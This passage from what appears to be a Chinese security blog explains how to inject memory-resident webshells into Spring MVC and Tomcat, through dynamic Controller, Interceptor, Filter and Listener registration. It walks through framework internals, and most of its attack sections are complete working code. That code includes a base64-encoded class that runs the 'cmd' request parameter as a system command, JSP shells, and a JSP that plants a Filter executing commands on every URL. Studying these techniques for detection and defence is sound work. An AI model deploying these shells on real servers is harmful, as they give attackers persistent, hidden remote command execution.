POC我在 su18 师傅代码的基础上做了些修改: 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106package controller;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import org.springframework.web.servlet.support.RequestContextUtils;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;import java.util.Base64;import java.util.Map;/** * 访问此接口动态添加 controller * * @author su18 */@Controller@RequestMapping(value = "/add")public class AddController { public static String CONTROLLER_CLASS_STRING = "yv66vgAAADQAYwoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClWCgAIAAkHAAoMAAsADAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwgADgEAA2NtZAsAEAARBwASDAATABQBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQAMZ2V0UGFyYW1ldGVyAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsKAAgAFgwAFwAYAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwoAGgAbBwAcDAAdAB4BABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsHACABABFqYXZhL3V0aWwvU2Nhbm5lcgoAHwAiDAAFACMBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYIACUBAAJcQQoAHwAnDAAoACkBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsKAB8AKwwALAAtAQAHaGFzTmV4dAEAAygpWgoAHwAvDAAwADEBAARuZXh0AQAUKClMamF2YS9sYW5nL1N0cmluZzsIADMBAAALADUANgcANwwAOAA5AQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwoAOwA8BwA9DAA+AD8BABNqYXZhL2lvL1ByaW50V3JpdGVyAQAFd3JpdGUBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYHAEEBABljb250cm9sbGVyL1Rlc3RDb250cm9sbGVyAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABtMY29udHJvbGxlci9UZXN0Q29udHJvbGxlcjsBAAVpbmRleAEAUihMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7KVYBAAdyZXF1ZXN0AQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAIcmVzcG9uc2UBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQACaW4BABVMamF2YS9pby9JbnB1dFN0cmVhbTsBAAFzAQATTGphdmEvdXRpbC9TY2FubmVyOwEABm91dHB1dAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEADVN0YWNrTWFwVGFibGUHAFUBABNqYXZhL2lvL0lucHV0U3RyZWFtBwBXAQAQamF2YS9sYW5nL1N0cmluZwEACkV4Y2VwdGlvbnMHAFoBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAZUnVudGltZVZpc2libGVBbm5vdGF0aW9ucwEANExvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9iaW5kL2Fubm90YXRpb24vR2V0TWFwcGluZzsBAApTb3VyY2VGaWxlAQATVGVzdENvbnRyb2xsZXIuamF2YQEAK0xvcmcvc3ByaW5nZnJhbWV3b3JrL3N0ZXJlb3R5cGUvQ29udHJvbGxlcjsBADhMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvYmluZC9hbm5vdGF0aW9uL1JlcXVlc3RNYXBwaW5nOwEABXZhbHVlAQAFL3N1MTgAIQBAAAIAAAAAAAIAAQAFAAYAAQBCAAAALwABAAEAAAAFKrcAAbEAAAACAEMAAAAGAAEAAAAOAEQAAAAMAAEAAAAFAEUARgAAAAEARwBIAAMAQgAAAMIAAwAGAAAAQbgABysSDbkADwIAtgAVtgAZTrsAH1kttwAhEiS2ACY6BBkEtgAqmQALGQS2AC6nAAUSMjoFLLkANAEAGQW2ADqxAAAAAwBDAAAAFgAFAAAAEQASABIAIQATADUAFABAABUARAAAAD4ABgAAAEEARQBGAAAAAABBAEkASgABAAAAQQBLAEwAAgASAC8ATQBOAAMAIQAgAE8AUAAEADUADABRAFIABQBTAAAADwAC/QAxBwBUBwAfQQcAVgBYAAAABAABAFkAWwAAAAYAAQBcAAAAAgBdAAAAAgBeAFsAAAASAAIAXwAAAGAAAQBhWwABcwBi"; public static Class<?> getClass(String classCode) throws IOException, InvocationTargetException, IllegalAccessException, NoSuchMethodException, InstantiationException { ClassLoader loader = Thread.currentThread().getContextClassLoader(); byte[] bytes = Base64.getDecoder().decode(classCode); Method method = null; Class<?> clz = loader.getClass(); while (method == null && clz != Object.class) { try { method = clz.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); } catch (NoSuchMethodException ex) { clz = clz.getSuperclass(); } } if (method != null) { method.setAccessible(true); return (Class<?>) method.invoke(loader, bytes, 0, bytes.length); } return null; } @GetMapping() public void index(HttpServletRequest request, HttpServletResponse response) throws Exception { final String controllerPath = "/su18"; // 获取当前应用上下文 WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest()); // 通过 context 获取 RequestMappingHandlerMapping 对象 RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class); // 获取父类的 MappingRegistry 属性 Field f = mapping.getClass().getSuperclass().getSuperclass().getDeclaredField("mappingRegistry"); f.setAccessible(true); Object mappingRegistry = f.get(mapping); // 反射调用 MappingRegistry 的 register 方法 Class<?> c = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry"); Method[] ms = c.getDeclaredMethods(); // 判断当前路径是否已经添加 Field field = c.getDeclaredField("urlLookup"); field.setAccessible(true); Map<String, Object> urlLookup = (Map<String, Object>) field.get(mappingRegistry); for (String urlPath : urlLookup.keySet()) { if (controllerPath.equals(urlPath)) { response.getWriter().println("controller url path exist already"); return; } } // 初始化一些注册需要的信息 PatternsRequestCondition url = new PatternsRequestCondition(controllerPath); RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition(); RequestMappingInfo info = new RequestMappingInfo(url, condition, null, null, null, null, null); Class<?> myClass = this.getClass(CONTROLLER_CLASS_STRING); for (Method method : ms) { if ("register".equals(method.getName())) { // 反射调用 MappingRegistry 的 register 方法注册 TestController 的 index method.setAccessible(true); method.invoke(mappingRegistry, info, myClass.newInstance(), myClass.getMethods()[0]); response.getWriter().println("spring controller add"); } } }} 其中字符串 CONTROLLER_CLASS_STRING 所记录的字节码内容如下: 12345678910111213141516171819202122package controller;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.RequestMapping;import java.io.InputStream;import java.util.Scanner;@Controller@RequestMapping({"/su18"})public class TestController { @GetMapping public void index(HttpServletRequest request, HttpServletResponse response) throws Exception { InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\\\A"); String output = s.hasNext() ? s.next() : ""; response.getWriter().write(output); }} Interceptor 型Interceptor 拦截器概念拦截器(Interceptor)是一种动态拦截方法调用的机制,在 SpringMVC 中动态拦截控制器(Controller)方法的执行。 作用: 在指定的方法调用前后执行预先设定的代码 阻止原始方法的执行 总结:拦截器就是用来做增强 为了将拦截器(Interceptor)与过滤器(Filter) 做区分,我们来了解一下 Tomcat 是如何处理请求的: (1) 浏览器发送一个请求会先到 Tomcat 的 web 服务器. (2) Tomcat 服务器接收到请求以后,会去判断请求的是静态资源还是动态资源。 (3) 如果是静态资源,会直接到 Tomcat 的项目部署目录下去直接访问。 (4) 如果是动态资源,就需要交给项目的后台代码进行处理。 (5) 在找到具体的方法之前,我们可以去配置过滤器 Filter(可以配置多个),按照顺序进行执行。 (6) 然后进入到到中央处理器(DispatcherServlet),SpringMVC 会根据配置的规则进行拦截。 (7) 如果满足规则,则进行处理,找到其对应的 Controller 类中的方法进行执行,完成后返回结果;如果不满足规则,则不进行处理。 (8) 拦截器的作用就是在每个 Controller 方法执行的前后添加业务。 由此可以看出,拦截器和过滤器之间的区别: 归属不同:Filter 属于 Servlet 技术,Interceptor 属于 SpringMVC 技术 作用范围不同:Filter 对所有访问进行增强,Interceptor 仅针对 SpringMVC 的访问进行增强 那么如何手动编写一个 Interceptor 呢? 步骤 1 :创建拦截器类 一个标准的拦截器类应该实现 HandlerInterceptor 接口,重写接口中的 preHandle 、postHandle 、afterCompletion 三个方法: 1234567891011121314151617181920212223@Component//定义拦截器类,实现HandlerInterceptor接口//注意当前类必须受Spring容器控制public class ProjectInterceptor implements HandlerInterceptor { @Override //原始方法调用前执行的内容 public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { System.out.println("preHandle..."); return true; } @Override //原始方法调用后执行的内容,如果控制器抛出未处理的异常,则不会被调用 public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception { System.out.println("postHandle..."); } @Override //原始方法调用完成后执行的内容,无论控制器是否抛出异常,都会被调用 public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception { System.out.println("afterCompletion..."); }} 步骤 2 :配置拦截器类 12345678910111213141516@Configurationpublic class SpringMvcSupport extends WebMvcConfigurationSupport { @Autowired private ProjectInterceptor projectInterceptor; @Override protected void addResourceHandlers(ResourceHandlerRegistry registry) { registry.addResourceHandler("/pages/**").addResourceLocations("/pages/"); } @Override protected void addInterceptors(InterceptorRegistry registry) { //配置拦截器 registry.addInterceptor(projectInterceptor).addPathPatterns("/**"); }} 步骤 3 :SpringMVC 添加 SpringMvcSupport 包扫描 12345@Configuration@ComponentScan({"controller", "Interceptor"})@EnableWebMvcpublic class SpringMvcConfig{} 这样一个 Interceptor 就创建完了。 Interceptor 调用流程 Spring MVC 使用 DispatcherServlet 的 doDispatch 方法进入自己的处理逻辑; 通过 getHandler 方法,循环遍历 handlerMappings 属性,匹配获取本次请求的 HandlerMapping; 通过 HandlerMapping (实际上是其实现类 AbstractHandlerMapping)的 getHandler 方法,遍历 this.adaptedInterceptors 中的所有 HandlerInterceptor 类实例,加入到 HandlerExecutionChain 的 interceptorList 中; 调用 HandlerExecutionChain 的 applyPreHandle 方法,遍历其中的 HandlerInterceptor 实例并调用其 preHandle 方法执行拦截器逻辑。 这里我就不放代码了,直接梳理一下调用链: 12345DispatcherServlet#doDispatch(HttpServletRequest, HttpServletResponse)\t-> DispatcherServlet#getHandler(HttpServletRequest) AbstractHandlerMapping#getHandler(HttpServletRequest) AbstractHandlerMapping#getHandlerExecutionChain(Object, HttpServletRequest) # 遍历 this.adaptedInterceptors,调用 HandlerExecutionChain.addInterceptor 将 HandlerInterceptor 实例加入到 HandlerExecutionChain 的 interceptorList 中\t-> HandlerExecutionChain#applyPreHandle(HttpServletRequest, HttpServletResponse) # 遍历其中的 HandlerInterceptor 实例并调用其 preHandle 方法执行拦截器逻辑 POC只需要将 Interceptor 加入到 AbstractHandlerMapping.adaptedInterceptors 中即可: 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556package controller;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.ResponseBody;import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import org.springframework.web.servlet.HandlerInterceptor;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import org.springframework.web.servlet.support.RequestContextUtils;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;@Controllerpublic class AddInterceptor { @ResponseBody @RequestMapping("/add2") public void Inject() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException { //获取上下文环境 WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest()); //获取adaptedInterceptors属性值 org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean(RequestMappingHandlerMapping.class); java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); field.setAccessible(true); java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping); //将恶意Interceptor添加入adaptedInterceptors TestInterceptor testInterceptor = new TestInterceptor(); adaptedInterceptors.add(testInterceptor); } public class TestInterceptor implements HandlerInterceptor{ @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { String cmd = request.getParameter("cmd"); if (cmd != null) { try { Runtime.getRuntime().exec(cmd); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } return true; } return false; } }} 寻常办法是无法回显的。 参考文章 JavaWeb 内存马基础 SpringMVC 源码之 Controller 查找原理 Java 安全学习 —— 内存马","categories":["Java 安全"]},{"title":"漏洞篇 - Tomcat 内存马","path":"/2024/09/26/Java 安全/漏洞篇-Tomcat内存马/","content":"Servlet 动态注册机制Servlet API 提供了动态注册机制,允许在运行时动态注册 Servlets、Filters 和 Listeners,而不需要通过 web.xml 文件或者注解进行静态配置。这种机制从 Servlet 3.0 开始引入,提供了更灵活的方式来配置 Web 应用组件,特别是对于基于注解和自动配置的现代 Web 应用非常有用。 在 ServletContext 类中提供了一系列 addServlet、addFilter、addListener 方法来提供动态注册功能。 内存马初探学习内存马需要先掌握 JavaWeb ,尤其是三大组件(Servlet、Filter、Listener)和 jsp 的知识。这部分因为我已经学过了,我就不再写博客来说明了。 此外建议看完前一篇文章 Tomcat 架构再来哦~ 那么先来展示一个简单的内存马: 123<% Runtime.getRuntime().exec(request.getParameter("cmd"));%> 用 jsp 写的,获取参数为 cmd 的值并执行,但是无回显。 接下来改一个有回显的内存马: 123456789101112<% if(request.getParameter("cmd")!=null){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.print(new String(b)); } out.print("</pre>"); }%> 将执行结果的输出流的每一个字节都打印在 web 页面上,<pre> 标签在 HTML 中表示预格式化文本,即其中的内容会按原样显示,保留空格、换行和其他格式。 简单测试一下这个有回显的马: 内存马又称无文件马,但是上面的 jsp 后门跟普通的马差不多嘛,还是有文件的,如何才能展示出它的无文件特性呢?且看接下来介绍的几种内存马。 Tomcat Filter 内存马说到 Filter ,就一定会提到 Filter 链,Filter 链的执行逻辑如下: 源码调试环境: JDK 17 Tomcat 8.5.68 那么现在有两个 Filter :Filter1 和 Filter2 ,除了名字以外都一样,采用注解配置的方式,默认按照过滤器类名(字符串)自然排序,也就是说会先执行 Filter1 ,再执行 Filter2 。 Filter1 代码如下: 12345678910111213141516171819202122232425package filter;import javax.servlet.*;import javax.servlet.annotation.WebFilter;import java.io.IOException;@WebFilter("/demo1")public class Filter1 implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println("Filter1 放行前..."); filterChain.doFilter(servletRequest, servletResponse); System.out.println("Filter1 放行后..."); } @Override public void destroy() { }} Servlet 代码如下: 123456789101112131415161718192021package servlet;import javax.servlet.ServletException;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;@WebServlet("/demo1")public class ServletDemo extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { System.out.println("get..."); } @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { System.out.println("post..."); }} 确保运行时,访问 /demo1 能够输出如下结果: Filter 链的调用在 Filter1 的 doFilter 处下断点,开始调试: 发现下一步没法跟进了,需要的类在 org.apache.catalina.core 包中: 需要导入依赖: 1234567<!-- https://mvnrepository.com/artifact/org.apache.tomcat/tomcat-catalina --> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <version>8.5.68</version> <scope>provided</scope> </dependency> 重新调试,跟进 ApplicationFilterChain#doFilter(ServletRequest, ServletResponse): 这里会判断 Globals.IS_SECURITY_ENABLED 安全设置开了没有,开了的话就通过 java.security.AccessController#doPrivileged 方法来调用 internalDoFilter(req,res) ,没开的话就直接调用: 跟进 ApplicationFilterChain#internalDoFilter(ServletRequest, ServletResponse): 在这个 filter 数组中获取要调用的 filter 链,再从中获取 filter ,调用它的 doFilter 方法。比如 Filter1.doFilter 调用到这里就获取 Filter2,调用 Filter2.doFilter 。也可以来看一下这个 filter 数组里面存了些什么: 下标为 0 存的是 Filter1,下标为 1 存的是 Filter2,下标为 2 存的是 WsFilter ,后面就没有了。也就是说理论上调用顺序是: Filter1.doFilter -> Filter2.doFilter -> WsFilter.doFilter WsFilter 在 org.apache.tomcat.websocket.server 包中,需要导入依赖: 123456<dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-websocket</artifactId> <version>8.5.68</version> <scope>provided</scope></dependency> 调试完之后我们来看这个调用栈: 前面是 tomcat 的一些逻辑,从 Filter1.doFilter 开始,后面就是很规律的调用 ApplicationFilterChain#doFilter(ServletRequest, ServletResponse) 和 ApplicationFilterChain#internalDoFilter(ServletRequest, ServletResponse) 。 而在调用完 WsFilter.doFilter 之后最后一次进入 ApplicationFilterChain#internalDoFilter(ServletRequest, ServletResponse) ,则会调用 servlet.service 方法: 也就调用到了 doGet 。这就是整个放行前 Filter 链的调用逻辑。 Filter 对象的创建我们的目的是创建一个 Filter 内存马,那么弄清楚 tomcat 是怎样创建 Filter 的就很有必要了。首先来看调用 Filter1.doFilter 之前的调用栈: 前面都是与进程线程相关的一些调用,不需要关心那么多,我们直接从 StandardEngineValve#invoke(Request, Response) 开始看,往上是各种 invoke 方法的调用,直到最后一个 invoke 。 这里提一嘴 Tomcat 的一个架构:Tomcat 的 Container 包含四种子容器:Engine、Host、Context 和 Wrapper ,可以看出这四种子容器是按照顺序生成的。 看一下最后一个 invoke ,StandardWrapperValve#invoke(Request, Response): 这里调用 filterChain.doFilter 方法,filterChain 是一个 ApplicationFilterChain 对象,这里的调用链就初见端倪了: 1ApplicationFilterChain#doFilter -> ApplicationFilterChain#internalDoFilter -> Filter1.doFilter -> 循环前面的步骤调用 Filter.doFilter 说明在这之前有一个 Filter 数组就已经存好了哪些 Filter 的 doFilter 方法将要被调用。显然是存放在 filterChain 中。 那么关注一下 filterChain 是怎么来的,依然是在 StandardWrapperValve#invoke(Request, Response) 中: 通过调用 ApplicationFilterFactory.createFilterChain 方法获取了一个 filterChain ,跟进它: 必须要有 servlet 才能往下走,否则会返回空。首先是创建一个 ApplicationFilterChain 对象,有可能是直接 new ,也有可能从 request 中获取。 接着往下,把 servlet 放进 filterChain 中。从 wrapper 中获取其所属的上级容器,即 Context 。在 Tomcat 中,容器是按层次结构组织的,Wrapper 是表示单个 Servlet,而 Context 表示整个 Web 应用。获取到 StandardContext 对象之后,又从其中获取了一个 FilterMap : 这个 FilterMaps 很重要,接下来这一步循环遍历 FilterMaps 中的 FilterMap ,根据每个 FilterMap 中的 filterName 属性去 FilterConfigs 中查找对应的 FilterConfig ,最后将 FilterConfig 添加进 filterChain : 也就是说对每一个 FilterMap ,都要有一个 FilterConfig 与之对应,这样才能找得到。 调试一下会发现这个 FilterMaps 中果然是存着过滤器类名: 攻击思路如果能修改这个 FilterMaps 和 FilterConfigs 中的值,就能够让服务器执行我们自定义的 Filter 了。如何修改呢? FilterMaps 是从 StandardContext 中获取的,StandardContext 中可以为 FilterMaps 添加东西的方法有: 12addFilterMap(FilterMap filterMap)addFilterMapBefore(FilterMap filterMap) 这两个方法的区别在于 addFilterMap 将 filterMap 添加到 FilterMaps 数组的末尾,而 addFilterMapBefore 将 filterMap 添加到 FilterMaps 数组的开头,所以如果想让植入的 Filter 内存马第一个生效,就用 addFilterMapBefore 方法。 至于上面这两个方法的调用可以在 ApplicationFilterRegistration#addMappingForUrlPatterns 中看到: 这就告诉我们 filterMap 要怎么创建了。 FilterConfigs 则是在 StandardContext#filterStart 方法中赋值的,这里是调用的 ApplicationFilterConfig 的构造方法创建 filterConfig : 从这里就引出另一个重要的属性 filterDefs ,FilterConfig 是依靠它来初始化的,所以如果想初始化 FilterConfig ,还需要先将 filterDefs 属性设置好。 filterDefs 在 ApplicationContext#addFilter(String, String, Filter) 中创建,这个方法也是对 ServletContext.addFilter 的一个具体实现: 123456789101112131415161718192021222324252627282930313233343536373839private FilterRegistration.Dynamic addFilter(String filterName, String filterClass, Filter filter) throws IllegalStateException { if (filterName == null || filterName.equals("")) { throw new IllegalArgumentException(sm.getString( "applicationContext.invalidFilterName", filterName)); } if (!context.getState().equals(LifecycleState.STARTING_PREP)) { //TODO Spec breaking enhancement to ignore this restriction throw new IllegalStateException( sm.getString("applicationContext.addFilter.ise", getContextPath())); } FilterDef filterDef = context.findFilterDef(filterName); // Assume a 'complete' FilterRegistration is one that has a class and // a name if (filterDef == null) { filterDef = new FilterDef(); filterDef.setFilterName(filterName); context.addFilterDef(filterDef); } else { if (filterDef.getFilterName() != null && filterDef.getFilterClass() != null) { return null; } } if (filter == null) { filterDef.setFilterClass(filterClass); } else { filterDef.setFilterClass(filter.getClass().getName()); filterDef.setFilter(filter); } return new ApplicationFilterRegistration(filterDef, context);} ApplicationContext 有一个成员属性 context ,是一个 StandardContext 对象: 上面的 ApplicationContext#addFilter(String, String, Filter) 方法就是调用 context.addFilterDef 来为这个 StandardContext 添加 FilterDef ,并且是添加到了 filterDefs 属性中: 至此 StandardContext 中三个重要的属性及其赋值过程就梳理好了,就是这三个: 总结一下: filterConfigs 存储每个 Filter 的配置对象(FilterConfig),在运行时为每个 Filter 提供配置信息。 StandardContext#filterStart() 中赋值,filterConfig 是通过 ApplicationFilterConfig 的构造方法创建的。 filterDefs 存储每个 Filter 的定义(FilterDef),记录了 Filter 的基本信息,包括类名和初始化参数等。在 Tomcat 启动 Web 应用时,它会通过 web.xml 或注解扫描生成 FilterDef 对象(其属性对应 xml 配置文件中的标签),然后将这些定义存储在 filterDefs 中。当需要实例化一个 Filter 时,Tomcat 会根据 filterDefs 中的定义,创建相应的 Filter 实例。 ApplicationContext#addFilter(String, String, Filter) 中调用 StandardContext#addFilterDef 赋值。 filterMaps 存储 Filter 与 URL 模式或 Servlet 名称的映射关系(FilterMap),决定哪些请求会被哪些 Filter 处理。 ApplicationFilterRegistration#addMappingForUrlPatterns 调用 StandardContext#addFilterMapBefore(FilterMap filterMap) 赋值。 那么我们要做的事就明确了,获取当前 web 应用的 StandardContext ,将 filterConfigs、filterDefs、filterMaps 设置好,采用反射的方式。 POC123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384<%@ page contentType="text/html;charset=UTF-8" language="java" %><%@ page import="java.io.IOException" %><%@ page import="java.lang.reflect.Field" %><%@ page import="org.apache.catalina.core.ApplicationContext" %><%@ page import="org.apache.catalina.core.StandardContext" %><%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %><%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %><%@ page import="java.lang.reflect.Constructor" %><%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %><%@ page import="org.apache.catalina.Context" %><%@ page import="java.util.Map" %><%@ page import="java.io.InputStream" %><%@ page import="java.util.Scanner" %><%@ page contentType="text/html;charset=UTF-8" language="java" %><% // 获取 ServletContext ServletContext servletContext = request.getSession().getServletContext(); // 获取 ApplicationContext Field appContextField = servletContext.getClass().getDeclaredField("context"); appContextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext); // 获取 StandardContext Field standardContextField = applicationContext.getClass().getDeclaredField("context"); standardContextField.setAccessible(true); StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);%><%! // 声明一个自定义 Filter public class Shell_Filter implements Filter { @Override public void init(FilterConfig filterConfig) throws ServletException { } public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { HttpServletRequest req = (HttpServletRequest) request; if (req.getParameter("cmd") != null) { InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream(); Scanner s = new Scanner(in).useDelimiter("\\\\A"); String output = s.hasNext() ? s.next() : ""; response.getWriter().write(output); return; } chain.doFilter(request, response); } @Override public void destroy() { } }%><% // 设置 filterDefs Shell_Filter filter = new Shell_Filter(); String name = "CommonFilter"; FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); standardContext.addFilterDef(filterDef); // 设置 filterMaps FilterMap filterMap = new FilterMap(); filterMap.addURLPattern("/*"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); // 获取 filterConfigs 属性 Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext); // 设置 filterConfig 并放入 filterConfigs 中 Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); filterConfigs.put(name, filterConfig);%> 很多赋值的思路都可以在源代码中看得到的,可以去模仿。比如 StandardContext#filterStart() 中给出了 filterConfigs 的赋值方式,完全是可以去模仿着来给 filterConfigs 赋值的。 一个 web 应用只能有一个 StandardContext ,这里将三个属性设置到 StandardContext 以后,每一次不相同的请求都会重新构建一次 filterChain(多个请求相同的话会复用 filterChain),就会重新调用 ApplicationFilterFactory.createFilterChain 。那么第一次访问完这个 jsp 文件之后,第二次访问任意路由都会调用 ApplicationFilterFactory.createFilterChain ,构建出我们想要的 Filter 链,就成功的将我们自定义的 filter 注入进内存当中了。 所以第一次访问只是设置属性,第二次访问才是注入,注入点在重新构建 filterChain 这里。 Tomcat Listener 内存马那么根据前面的思路,我们也是想在服务器中动态注册一个自定义的 Listener ,如何做呢? JavaWeb 提供了8个监听器: ServletRequestListener 是最适合用来作为内存马的。访问任意资源时都会触发 ServletRequest 的创建和销毁,在客户端每次发起请求时,容器会(例如 Tomcat)创建 ServletRequest 对象,并在请求完成后销毁它,而 ServletRequest 创建和销毁的动作就会触发 ServletRequestListener 监听器,触发 ServletRequestListener#requestInitialized() 方法。 源码调试同理我们来看一下 Listener 是如何被创建的,下面是一个简单的自定义 Listener : 1234567891011121314151617181920package Listener;import javax.servlet.ServletRequestEvent;import javax.servlet.ServletRequestListener;import javax.servlet.annotation.WebListener;@WebListenerpublic class MyServletRequestListener implements ServletRequestListener { // 在每次请求创建时调用 @Override public void requestInitialized(ServletRequestEvent sre) { System.out.println("ServletRequest created"); } // 在每次请求销毁时调用 @Override public void requestDestroyed(ServletRequestEvent sre) { System.out.println("ServletRequest destroyed"); }} Listener 的创建下断点,调试,看调用栈: 是 StandardContext#fireRequestInitEvent 调用了我的 requestInitialized 方法,跟进它: 从下往上找这个 listener 是哪来的,最终找到 instances[] 数组。这个数组又是通过 getApplicationEventListeners 获取的,跟进一下: applicationEventListenersList 是 StandardContext 的一个成员属性,关注一下它是在哪被赋值的: 有 setApplicationEventListeners 方法和 addApplicationEventListener 方法。添加单个 listener 还是 addApplicationEventListener 用起来更简便一些。 StandardContext 的获取接下来就是获取 StandardContext 了,往前看一步 StandardHostValve#invoke : 这里是直接通过 request.getContext() 来获取的,由于 JSP 内置了 request 对象,我们也可以使用同样的方式来获取: 123456<% Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext context = (StandardContext) req.getContext();%> 另一种获取方式如下: 1234<%\tWebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();%> 当然也可以像之前 Filter 内存马那样去获取 StandardContext 。 POC1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253<%@ page import="org.apache.catalina.core.StandardContext" %><%@ page import="org.apache.catalina.core.ApplicationContext" %><%@ page import="java.lang.reflect.Field" %><%@ page import="java.io.InputStream" 